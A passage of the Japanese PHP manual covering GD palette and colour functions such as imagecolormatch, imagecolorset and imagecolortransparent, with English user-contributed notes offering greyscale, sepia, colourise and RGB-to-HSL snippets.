  • imagecolorclosestalpha() - 指定した色+アルファ値に最も近い色のインデックスを取得する

User Contributed Notes

matt at matt-darby dot com 11-Jul-2005 06:09
Note that a color allocated with imagecolorexactalpha won't show alpha (it will be opaque) when used with imageline(). Use imagerectangle() set to your normal start and end points instead.

Ensure that the image is created via imagecreatetruecolor() as well!
phpdoc-comment at aditus dot nu 08-Nov-2002 10:01
What might be misleading in the docs is that if the specified color + alpha channel does not exist it will be created. So if you like to use an alpha channel in your image enable alpha blending and then create you color using this method.


パレットイメージの色を True カラーイメージに近づける

  • ≪ imagecolorexactalpha
  • imagecolorresolve ≫
  • PHP Manual
  • GD および Image 関数
  • パレットイメージの色を True カラーイメージに近づける

imagecolormatch

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagecolormatch — パレットイメージの色を True カラーイメージに近づける

説明

imagecolormatch ( resource $image1 , resource $image2 ) : bool

パレットイメージの色を True カラーイメージに近づけます。

パラメータ

image1

truecolor イメージリソース。

image2

パレットイメージリソース。 image1 と同じ大きさの画像を指します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagecolormatch() の例

<?php
// true color 画像とパレット画像を用意します
$im1 = imagecreatefrompng('./gdlogo.png');
$im2 = imagecreate(imagesx($im1), imagesy($im1));

// いくつかの色を $im2 に追加します
$colors   = Array();
$colors[] = imagecolorallocate($im2, 255, 36, 74);
$colors[] = imagecolorallocate($im2, 40, 0, 240);
$colors[] = imagecolorallocate($im2, 82, 100, 255);
$colors[] = imagecolorallocate($im2, 84, 63, 44);

// これらの色を true color 画像にマッチさせます
imagecolormatch($im1, $im2);

// メモリから開放します
imagedestroy($im1);
imagedestroy($im2);
?>

参考

  • imagecreatetruecolor() - TrueColor イメージを新規に作成する

User Contributed Notes

gk at karko dot net 28-Jun-2010 09:42
Those that have Ubuntu servers note, that this function is added in PHP's GD library fork and is not available by default in Ubuntu php5-gd package.

Here's how-to install the PHP GD version: http://preview.tinyurl.com/yel4r7t
albriNOght at anSPAMre dot net 12-Dec-2005 09:22
This function appears to work by changing the values of the colors of the paletted image -- no good if you're trying to force the resultant image to stick with certain pre-defined color values.
Samantha 08-Feb-2004 07:14
This function is a godsend! It works exactly as documented.

I'm working on an application where I need to take a transparent GIF, matte the GIF on a user defined background color, and finally scale the GIF based on a user defined %.

The only way I could get this to work so that the final image was high quality, ie: no jagged edges, and a smooth scale, was to convert the GIF to a JPG, and then copy the JPG into a new GIF image like this:

// open transparent gif
$GIFimg = imagecreatefromgif($file_path);

// create jpg image
$JPGimg = imagecreatetruecolor($width, $height);

// copy GIF to JPG
imagecopy($JPGimg, $GIFimg, 0, 0, 0, 0, $width, $height);

// create a true color image
$JPGscaled = imagecreatetruecolor($n_width, $n_height);

// scale the new JPG using the truecolor image
imagecopyresampled($JPGscaled, $JPGimg, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// create final GIF image
$GIFfinal = imagecreate($n_width, $n_height);

// copy the scaled JPG back to a GIF
imagecopymerge($GIFfinal, $JPGscaled, 0, 0, 0, 0, $n_width, $n_height, 100);

This worked great except the final step, copying the JPG to a GIF. If the JPG had too many colors, the function would index the colors to make it a palette image. So what would end up happening is the final image contained INCORRECT colors.

Adding this one line at the bottom of the code fixed everything.

imagecolormatch($JPGscaled, $GIFfinal);

I hope this helps anyone who is converting images back and forth and dealing with palette issues and color correction. Also, be aware that the above code is a sample and will not work by copying and pasting.


指定した色または出来るだけ近い色のインデックスを得る

  • ≪ imagecolormatch
  • imagecolorresolvealpha ≫
  • PHP Manual
  • GD および Image 関数
  • 指定した色または出来るだけ近い色のインデックスを得る

imagecolorresolve

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorresolve — 指定した色または出来るだけ近い色のインデックスを得る

説明

imagecolorresolve ( resource $image , int $red , int $green , int $blue ) : int

この関数は、指定した色に関するインデックスを常に返します。 その色そのものまたは出来るだけ近い色へのインデックスが返されます。

画像をファイルから作成した場合は、画像内で使われている色だけを解決します。パレットにだけ存在する色は解決されません。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

返り値

色インデックスを返します。

例

例1 imagecoloresolve() による画像からの色の取得

<?php
// 画像を読み込みます
$im = imagecreatefromgif('phplogo.gif');

// 最も近い色を画像から取得します
$colors = array();
$colors[] = imagecolorresolve($im, 255, 255, 255);
$colors[] = imagecolorresolve($im, 0, 0, 200);

// 出力します
print_r($colors);

imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 89
    [1] => 85
)

参考

  • imagecolorclosest() - 指定した色に最も近い色のインデックスを取得する

User Contributed Notes

ceo at l-i-e dot com 03-Jan-2002 03:55
Okay, so sometimes it's really IMPORTANT to get the exact color you want, only it's not *IN* the Image, and ImageColorResolve just isn't "close enough".

The following code is a disgustingly gross hack, rather slow, but it does that.

$colorcount = array();
for ($x = 0; $x < $width; $x++){
    for ($y = 0; $y < $height; $y++){
        $colorindex = imagecolorat($jpg, $x, $y);
        if (!isset($colorcount[$colorindex])){
            $colorcount[$colorindex] = 1;
        }
        else{
            $colorcount[$colorindex]++;
        }
    }
}
asort($colorcount);
reset($colorcount);

$black = imagecolorexact($jpg, 0, 0, 0);
if ($black == -1){
    $goner = key($colorcount);
    $rgb = imagecolorsforindex($jpg, $goner);
    #error_log("Need black: About to kill $goner ($rgb[red], $rgb[green], $rgb[blue]) which was only used in $colorcount[$goner] pixels", 0);
    unset($colorcount[$goner]);
    imagecolordeallocate($jpg, $goner);
    $black = imagecolorallocate($jpg, 0, 0, 0);
}
if ($black == -1){
    $black = imagecolorresolve($jpg, 0, 0, 0);
    #error_log("Damn!  STILL couldn't allocate the color!", 0);
}


指定した色+アルファ値または最も近い色のインデックスを取得する

  • ≪ imagecolorresolve
  • imagecolorset ≫
  • PHP Manual
  • GD および Image 関数
  • 指定した色+アルファ値または最も近い色のインデックスを取得する

imagecolorresolvealpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorresolvealpha — 指定した色+アルファ値または最も近い色のインデックスを取得する

説明

imagecolorresolvealpha ( resource $image , int $red , int $green , int $blue , int $alpha ) : int

この関数は、指定した色のインデックスを必ず返します。そうでない場合、 正確な色または最も近い別の色のどちらかを返します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

alpha

0 から 127 までの値。 0 は完全に不透明な状態。 127 は完全に透明な状態を表します。

色のパラメータは、0 から 255 までの整数値か 0x00 から 0xFF までの十六進値を指定します。

返り値

色インデックスを返します。

例

例1 imagecoloresolvealpha() による画像からの色の取得

<?php
// 画像を読み込みます
$im = imagecreatefromgif('phplogo.gif');

// 最も近い色を画像から取得します
$colors = array();
$colors[] = imagecolorresolvealpha($im, 255, 255, 255, 0);
$colors[] = imagecolorresolvealpha($im, 0, 0, 200, 127);

// 出力します
print_r($colors);

imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 89
    [1] => 85
)

参考

  • imagecolorclosestalpha() - 指定した色+アルファ値に最も近い色のインデックスを取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したパレットインデックスの色を設定する

  • ≪ imagecolorresolvealpha
  • imagecolorsforindex ≫
  • PHP Manual
  • GD および Image 関数
  • 指定したパレットインデックスの色を設定する

imagecolorset

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorset — 指定したパレットインデックスの色を設定する

説明

imagecolorset ( resource $image , int $index , int $red , int $green , int $blue , int $alpha = 0 ) : void

この関数は、パレット上で指定したインデックス index を 指定した色 color に設定します。 実際にぬりつぶしを実行するオーバーヘッドなしに パレット上の色を使用する画像をぬりつぶしたような効果を得る ことができ、便利です。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

index

パレットのインデックス。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

alpha

アルファコンポーネントの値。

返り値

値を返しません。

例

例1 imagecolorset() の例

<?php
// 300x100 の画像を作成します
$im = imagecreate(300, 100);

// 背景色を赤に設定します
imagecolorallocate($im, 255, 0, 0);

// 背景の色インデックスを取得します
$bg = imagecolorat($im, 0, 0);

// 背景色を青に設定します
imagecolorset($im, $bg, 0, 0, 255);

// 画像をブラウザに出力します
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

参考

  • imagecolorat() - ピクセルの色のインデックスを取得する

User Contributed Notes

Daniel Klein 01-Jul-2015 01:25
If you are creating a palette image from scratch you have to use imagecolorallocate() for each index before you can use imagecolorset() on it.
Bartman 25-Aug-2009 02:12
I had the same problem as heavyraptor2 so i made this function...
<?php
function imagecolorize($im,$endcolor){
    //funcion takes image and turns black into $endcolor, white to white and
    //everything in between in corresponding gradient
    //$endcolor should be 6 char html color

    //make sure it has usable palette
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    //first make it gray to be sure of even results (thanks moxleystratton.com)
    //comment this loop if you want the output based on, for example,
    //the red channel (for this take a look at the $gray-var in the last loop)
    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }

    //determine end-colors in hexdec
    $EndcolorRGB['r'] = hexdec( substr($endcolor, 0, 2));
    $EndcolorRGB['g'] = hexdec( substr($endcolor, 2, 2));
    $EndcolorRGB['b'] = hexdec( substr($endcolor, 4, 2));

    //determine gradient-delta's
    $stepR = (255-$EndcolorRGB['r'])/255.0;
    $stepG = (255-$EndcolorRGB['g'])/255.0;
    $stepB = (255-$EndcolorRGB['b'])/255.0;

    //aColor contains the 256 gradations between endcolor(i=0) and white(i=255)
    $aColor = array();
    for ($i = 0; $i<=255; $i++){
        $aColor[$i]['r'] = $EndcolorRGB['r'] + ($i*$stepR);
        $aColor[$i]['g'] = $EndcolorRGB['g'] + ($i*$stepG);
        $aColor[$i]['b'] = $EndcolorRGB['b'] + ($i*$stepB);
    }

    //for every color-index we now replace $gray-values for $aColor
    for ($c = 0; $c < imagecolorstotal($im); $c++){
        $currentColorRGB = imagecolorsforindex($im, $c);
        $gray = $currentColorRGB['red'];//image is grayscale, so red,green and blue
        // should be equal. We use this number as key of aColor
        imagecolorset($im,$c,(int)$aColor[$gray]['r'], (int)$aColor[$gray]['g'], (int)$aColor[$gray]['b']);
    }
}?>
Thomas Mueller 23-Apr-2008 10:42
Here is a function to colorize a picture gradient style.

All you have to do is to pass an img-object and an array of colors.

e.g.

$arr = array('#000000', '#990000', '#00FFFF', '#FFFFDD');
colorize ($img, $arr);

<?php
function colorize($imgdata, $palette)
{
    imageTrueColorToPalette($imgdata,false,0xFF);
    $l = count($palette)-1;
    $i = imagecolorstotal($imgdata);
    while ($i--)
    {
        list($r,$g,$b) = array_values(imageColorsForIndex($imgdata,$i));

        $grayscale = ($r*.3 + $g*.59 +$b*.11) / 0xFF;

        $pos = $l*$grayscale;

        $perc = $pos-floor($pos);

        $tbase = str_replace("#", '', $palette[$pos]);
        $baseR = hexdec(substr($tbase,0,2));
        $baseG = hexdec(substr($tbase,2,2));
        $baseB = hexdec(substr($tbase,4,2));

        $tmix = str_replace("#", '', $palette[$pos+1]);
        $mixR = hexdec(substr($tmix,0,2));
        $mixG = hexdec(substr($tmix,2,2));
        $mixB = hexdec(substr($tmix,4,2));

        $resR = $baseR+($mixR-$baseR)*$perc;
        $resG = $baseG+($mixG-$baseG)*$perc;
        $resB = $baseB+($mixB-$baseB)*$perc;

        imagecolorset($imgdata, $i, $resR, $resG, $resB);
    }
}
?>
heavyraptor2 at hotmail dot com 20-Feb-2008 01:08
I've been looking for a simple function which "colorizes" an image, without any success ... it looks like a lot of people mean something different with "colorizing" an image, because actually colorzing means multiplying the old color's grayscale with the new color. So a white pixel would become 100% of the colorize-to-color and a black pixel would stay black (I know I can't explain well ... I hope you understood, otherwise take a look at the example below the functions' code).

<?php
function image_colorize(&$img,$rgb) {
  imageTrueColorToPalette($img,true,256);
  $numColors = imageColorsTotal($img);

  for ($x = 0; $x < $numColors; $x++) {
    list($r,$g,$b) = array_values(imageColorsForIndex($img,$x));

    // calculate grayscale in percent
    $grayscale = ($r + $g + $b) / 3 / 0xff;

    imageColorSet($img,$x,
      $grayscale * $rgb[0],
      $grayscale * $rgb[1],
      $grayscale * $rgb[2]
    );
  }

  return true;
}
?>

Example of usage:
<?php
$color = array(0xff,0xaa,0x2a); // color to convert to
$url = 'http://sundog.net/images/uploads/1_google_logo.jpg';
$img = imageCreateFromJpeg($url);

image_colorize($img,$color);

header('Content-type: image/gif');
imageGif($img);
exit;
?>

Enjoy
admin at phpgfx dot com 25-Aug-2007 11:37
Here is a function to turn an image into pure black and white

<?php

function imagepurebw( $img, $amount = 383 ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        array_pop( $index );
        $color = ( array_sum( $index ) > $amount ) ? 255 : 0;
        imagecolorset( $img, $i, $color, $color, $color );
    }
}

?>
moxleystratton.com 04-Oct-2006 03:59
If you want to convert a Color image to Grayscale without creating a blotchy image, use this color calculation:
<?php
function imagetograyscale($im)
{
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }
}
?>
dade dot c at email dot it 02-Oct-2004 01:47
this is helpful if you would like to implement a color theme system in your website... try it out
Davide Candiloro Italy

function colorize ($pngpath, $r, $g, $b)
/*
REQUIRES: $pngpath to be a valid path of a greyscale PNG-8 image with 64 colors palette
          $r, $g, $b to be integers in the range 0..255
EFFECTS: returns the png image colorized with the color represented by $r, $g, $b.
*/
{
    header("Content-type: image/png");
    $im = imagecreatefrompng("images/table.png");

    imagetruecolortopalette($im, FALSE, 256);

      for ($c = 0; $c < 64; $c++){ /*64 is the number of colors in the PNG-8 palette*/
        $col = imagecolorsforindex($im, $c);
        imagecolorset ( $im, $c, $r*$col['red']/256, $g*$col['green']/256, $b*$col['blue']/256); /*replaces original greyscale palette with a colorized one*/
     }

    imagepng($im);
    imagedestroy($im);
}
m4551 at abasoft dot it 23-Apr-2004 09:19
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}
info at devking dot com 08-Aug-2002 02:20
here's a simple function to greyscale an image...

function imagecolorgrey( &$img ) {
 for( $i=0; $i<imagecolorstotal( $img ); $i++ ) {
  $c = ImageColorsForIndex( $img, $i );
  $t = ($c["red"]+$c["green"]+$c["blue"])/3;
  imagecolorset( $img, $i, $t, $t, $t );
 }
}
olivier at moostik dot net 11-Jul-2001 05:49
This function change colors of an image with ranges 0>100 for each primary color:

int ImageSelectiveColor (int im, int red, int green, int blue)

im is image pointer
red, green and blue are ranges 0->100

function ImageSelectiveColor($im,$red,$green,$blue)
 {
  for($i=0;$i<imagecolorstotal($im);$i++)
   {
    $col=ImageColorsForIndex($im,$i);
    $red_set=$red/100*$col['red'];
    $green_set=$green/100*$col['green'];
    $blue_set=$blue/100*$col['blue'];
    if($red_set>255)$red_set=255;
    if($green_set>255)$green_set=255;
    if($blue_set>255)$blue_set=255;
    imagecolorset($im,$i,$red_set,$green_set,$blue_set);

   }
  return $im;

 }


カラーインデックスからカラーを取得する

  • ≪ imagecolorset
  • imagecolorstotal ≫
  • PHP Manual
  • GD および Image 関数
  • カラーインデックスからカラーを取得する

imagecolorsforindex

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorsforindex — カラーインデックスからカラーを取得する

説明

imagecolorsforindex ( resource $image , int $index ) : array

指定したインデックスに対する色を取得します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

index

色インデックス。

返り値

指定したカラーインデックス index に対して適当な値からなる red、green、blue をキーとする連想配列を返します。

例

例1 imagecolorsforindex() の例

<?php

// 画像をオープンします
$im = imagecreatefrompng('nexen.png');

// 色を取得します
$start_x = 40;
$start_y = 50;
$color_index = imagecolorat($im, $start_x, $start_y);

// 可読形式にします
$color_tran = imagecolorsforindex($im, $color_index);

// どんな内容でしょう?
print_r($color_tran);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
   [red] => 226
   [green] => 222
   [blue] => 252
   [alpha] => 0
)

参考

  • imagecolorat() - ピクセルの色のインデックスを取得する
  • imagecolorexact() - 指定した色のインデックスを取得する

User Contributed Notes

hofstadler dot andi at gmx dot at 07-Oct-2008 12:36
I have optimized the rgb2hsl function from slepichev a bit, so that it is a bit shorter and hopefully a bit faster:

<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set, each color component with range 0 to 255
 * @return array HSL set, each color component with range 0 to 1
 */
function rgb2hsl($rgb){
    $clrR = ($rgb[0]);
    $clrG = ($rgb[1]);
    $clrB = ($rgb[2]);

    $clrMin = min($clrR, $clrG, $clrB);
    $clrMax = max($clrR, $clrG, $clrB);
    $deltaMax = $clrMax - $clrMin;

    $L = ($clrMax + $clrMin) / 510;

    if (0 == $deltaMax){
        $H = 0;
        $S = 0;
    }
    else{
        if (0.5 > $L){
            $S = $deltaMax / ($clrMax + $clrMin);
        }
        else{
            $S = $deltaMax / (510 - $clrMax - $clrMin);
        }

        if ($clrMax == $clrR) {
            $H = ($clrG - $clrB) / (6.0 * $deltaMax);
        }
        else if ($clrMax == $clrG) {
            $H = 1/3 + ($clrB - $clrR) / (6.0 * $deltaMax);
        }
        else {
            $H = 2 / 3 + ($clrR - $clrG) / (6.0 * $deltaMax);
        }

        if (0 > $H) $H += 1;
        if (1 < $H) $H -= 1;
    }
    return array($H, $S,$L);
}
?>
matrebatre 07-Aug-2008 11:11
Be aware that

<?php
$rgba     = imagecolorat($image, $x, $y);
$r = ($rgba >> 16) & 0xFF;
$g = ($rgba >> 8) & 0xFF;
$b = $rgba & 0xFF;
$a     = ($rgba & 0x7F000000) >> 24;
?>

will only work for truecolor images. With eg GIF images, this will have strange results. For GIF images, you should always use imagecolorsforindex().
derek at idreams dot co dot uk 30-Nov-2007 12:45
The earlier microsoft sepia example seemed to have a factor in which made it pinky... here is a modified example which uses just the Microsoft sepia (as per the wiki sepia entry)

<?
function imagetosepia(&$img) {
  if (!($t = imagecolorstotal($img))) {
    $t = 256;
    imagetruecolortopalette($img, true, $t);
  }
  $total = imagecolorstotal( $img );
  for ( $i = 0; $i < $total; $i++ ) {
    $index = imagecolorsforindex( $img, $i );
    $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 );
    $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 );
    $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 );
    if ($red > 255) { $red = 255; }
    if ($green > 255) { $green = 255; }
    if ($blue > 255) { $blue = 255; }
    imagecolorset( $img, $i, $red, $green, $blue );
  }
}
?>
joe dot scylla at gmail dot com 28-Nov-2007 06:35
While it's quite easy and intuitive to get the alpha transparency of a pixel with:

<?php
$rgba     = imagecolorsforindex($image, imagecolorat($image, $x, $y));
$alpha     = $rgba["alpha"];
?>

you should use the return value of the command imagecolorat to get the alpha transparency with the code below because it's much faster and will have a major impact if you process every pixel of an image:

<?php
$rgba     = imagecolorat($image, $x, $y);
$alpha     = ($rgba & 0x7F000000) >> 24;
?>
tim at leethost dot com 09-Sep-2007 10:01
Here's a better grayscale, sepia, and general tinting function.  This function is better because:

1) Works with true color images (the other sepia code didn't).
2) Provides a more gooder grayscale conversion (yes, I said "more gooder").  The other grayscale code used imagetruecolortopalette, which just doesn't work well for grayscale conversion.
3) The other sepia code was really colorful, a little too much for my taste.  This function allows you to optionally set the tinting of the grayscale to anything you wish.
4) Single function for grayscale, sepia, and any other tinting you can dream up.

Here's some examples:

imagegrayscaletint ($img);  // Grayscale, no tinting
imagegrayscaletint ($img,304,242,209);  // What I use for sepia
imagegrayscaletint ($img,0,0,255);  // A berry blue image

The RGB values for tinting are normally from 0 to 255.  But, you can use values larger than 255 to lighten and "burn" the image.  The sepia example above does this a little, the below example provides a better example of lightening the image and burning the light areas out a little:

imagegrayscaletint ($img,400,400,400);  // Lighten image
imagegrayscaletint ($img,127,127,127);  // Darken image

<?
function imagegrayscaletint (&$img, $tint_r = 255, $tint_g = 255, $tint_b = 255) {
  $width = imagesx($img); $height = imagesy($img);
  $dest = imagecreate ($width, $height);
  for ($i=0; $i<256; $i++) imagecolorallocate ($dest, $i, $i, $i);
  imagecopyresized ($dest, $img, 0, 0, 0, 0, $width, $height, $width, $height);
  for ($i = 0; $i < 256; $i++) imagecolorset ($dest, $i, min($i * abs($tint_r) / 255, 255), min($i * abs($tint_g) / 255, 255), min($i * abs($tint_b) / 255, 255));
  $img = imagecreate ($width, $height);
  imagecopy ($img, $dest, 0, 0, 0, 0, $width, $height);
  imagedestroy ($dest);
}
?>
slepichev at yahoo dot com 06-Sep-2007 03:50
If you would like to change the intensity or lightness level of a specific color, you will need to convert the color format from RGB to HSL.
following function convert RGB array(red,green,blue) to HSL array(hue, saturation, lightness)
<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set
 * @return array HSL set
 */
 function rgb2hsl($rgb){

     $clrR = ($rgb[0] / 255);
     $clrG = ($rgb[1] / 255);
     $clrB = ($rgb[2] / 255);

     $clrMin = min($clrR, $clrG, $clrB);
     $clrMax = max($clrR, $clrG, $clrB);
     $deltaMax = $clrMax - $clrMin;

     $L = ($clrMax + $clrMin) / 2;

     if (0 == $deltaMax){
         $H = 0;
         $S = 0;
         }
    else{
         if (0.5 > $L){
             $S = $deltaMax / ($clrMax + $clrMin);
             }
        else{
             $S = $deltaMax / (2 - $clrMax - $clrMin);
             }
         $deltaR = ((($clrMax - $clrR) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaG = ((($clrMax - $clrG) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaB = ((($clrMax - $clrB) / 6) + ($deltaMax / 2)) / $deltaMax;
         if ($clrR == $clrMax){
             $H = $deltaB - $deltaG;
             }
        else if ($clrG == $clrMax){
             $H = (1 / 3) + $deltaR - $deltaB;
             }
        else if ($clrB == $clrMax){
             $H = (2 / 3) + $deltaG - $deltaR;
             }
         if (0 > $H) $H += 1;
         if (1 < $H) $H -= 1;
         }
     return array($H, $S, $L);
     }
?>
admin at phpgfx dot com 26-Aug-2007 09:54
this is a sepia filter using microsoft's definition

<?php

function imagesepia( $img ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 ) / 1.351;
        $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 ) / 1.203;
        $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 ) / 2.140;
        imagecolorset( $img, $i, $red, $green, $blue );
    }
}

?>
adspeed.com 23-Aug-2005 04:05
To correct m4551 at abasoft dot it example:

ImageTrueColorToPalette($im,1,$t);

might give less colors than $t, so the for loop should call "$i<ImageColorsTotal($im)" instead of "$i<$t" just to be sure, or you'll get the warning: Color index [0-9] out of range
strozek(a)deas()harvard()edu 25-Jun-2004 01:32
Regarding m4551's method of conversion -- the actual CCIR-approved RGB-to-grayscale conversion is as follows:

grayscale component = 0.2125*R + 0.7154*G + 0.0721*B

(cf. CCIR Recommendation 709 for modern monitors)
m4551 at abasoft dot it 23-Apr-2004 09:23
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}


画像パレットの色数を検出する

  • ≪ imagecolorsforindex
  • imagecolortransparent ≫
  • PHP Manual
  • GD および Image 関数
  • 画像パレットの色数を検出する

imagecolorstotal

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorstotal — 画像パレットの色数を検出する

説明

imagecolorstotal ( resource $image ) : int

指定した画像パレットの色数を返します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

返り値

指定した画像パレットの色数を返します。 truecolor 画像の場合は 0 を返します。

例

例1 imagecolorstotal() による画像の色の総数の取得

<?php
// 画像のインスタンスを作成します
$im = imagecreatefromgif('php.gif');

echo '色の総数: ' . imagecolorstotal($im);

// 画像を解放します
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

色の総数: 128

参考

  • imagecolorat() - ピクセルの色のインデックスを取得する
  • imagecolorsforindex() - カラーインデックスからカラーを取得する
  • imageistruecolor() - 画像が truecolor かどうか調べる

User Contributed Notes

There are no user contributed notes for this page.


透明色を定義する

  • ≪ imagecolorstotal
  • imageconvolution ≫
  • PHP Manual
  • GD および Image 関数
  • 透明色を定義する

imagecolortransparent

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolortransparent — 透明色を定義する

説明

imagecolortransparent ( resource $image ) : int
imagecolortransparent ( resource $image , int $color ) : int

指定した画像 image 上の透明色を設定したり、取得したりします。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

color

imagecolorallocate() で作成された色識別子。

返り値

新しい透明色の ID (指定しなかった場合は現在設定されている ID) を返します。color を指定せず、 さらに現在の透明色も設定されていない場合は -1 を返します。

例

例1 imagecolortransparent() の例

<?php
// 55x30 の画像を作成します
$im = imagecreatetruecolor(55, 30);
$red = imagecolorallocate($im, 255, 0, 0);
$black = imagecolorallocate($im, 0, 0, 0);

// 背景を透明にします
imagecolortransparent($im, $black);

// 赤い矩形を描画します
imagefilledrectangle($im, 4, 4, 50, 25, $red);

// 画像を保存します
imagepng($im, './imagecolortransparent.png');
imagedestroy($im);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagecolortransparent()

注意

注意:

透過性は imagecopymerge() かつ True カラーの場合のみコピーされます。imagecopy() もしくはパレットイメージの場合はコピーされません。

注意:

透明色は画像のプロパティであり、色のプロパティではありません。 ある色を透明色と定義したら、画像上で既にその色で着色されてる領域も 透明になります。

User Contributed Notes

Sebastian Sejzer 12-Dec-2015 05:48
If you are looking for a blank PNG, you don't need to generate it every time. Just define this constant:

define("BLANK_PNG",     "iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m".
                        "dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAADqSURBVHjaYvz//z/DYAYAAcTEMMgBQAANegcCBNCg".
                        "dyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAAN".
                        "egcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQ".
                        "oHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAADXoHAgTQoHcgQAANegcCBNCgdyBAAA16BwIE0KB3IEAA".
                        "DXoHAgTQoHcgQAANegcCBNCgdyBAgAEAMpcDTTQWJVEAAAAASUVORK5CYII=");
romanenko.alex.v at gmail.com 02-Oct-2014 08:02
This function has a very strange behaviour with GD version > 2. It returns count of colors instead of -1 (as noted) if cannot find transparent color. Be carefull!
john at jbwalker dot com 23-Jan-2012 08:42
A transparent background with text doesn't seem to work very well because of the antialiasing . But I tried the following kluge and it turned out very well:

<?php
   $im = imagecreatetruecolor(100,20);
   $almostblack = imagecolorallocate($im,254,254,254);
   imagefill($im,0,0,$almostblack);
   $black = imagecolorallocate($im,0,0,0);
   imagecolortransparent($im,$almostblack);
   //... set x and y..
   imagettftext($im,8,0,$x,$y,$black,"calibri.ttf",$txt);
?>
email at vladislav dot net 22-Jun-2011 02:42
Pay attention, that some GIF images may not include a transparent color. A good example of forced transparency in resized GIF image was given by markglibres at yahoo dot com 29-Mar-2009 02:48. But sometimes the transparent color in GIF images can be not set. The problem is, that the color you force to be transparent can be used in the original GIF as opaque and you will loose that color in resized image. The solution is not to use some default transparent color and to leave the resized image without transparent color (the same as original GIF). I used (nearly) the following code to make resized GIF images trnsparent  only when the transparency is needed:

<?php
/* ... */

$img = ImageCreateFromGIF($f); /* create image from existing GIF: original image file name $f you may take from where you need */
$transparent_index = ImageColorTransparent($img); /* gives the index of current transparent color or -1 */
if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);

/* ... */

$img_resized = ImageCreateTrueColor( $nw, $nh ); /* (the new width $nw and height $nh must be defined before) */
if(!empty($transparent_color)) /* simple check to find wether transparent color was set or not */
{
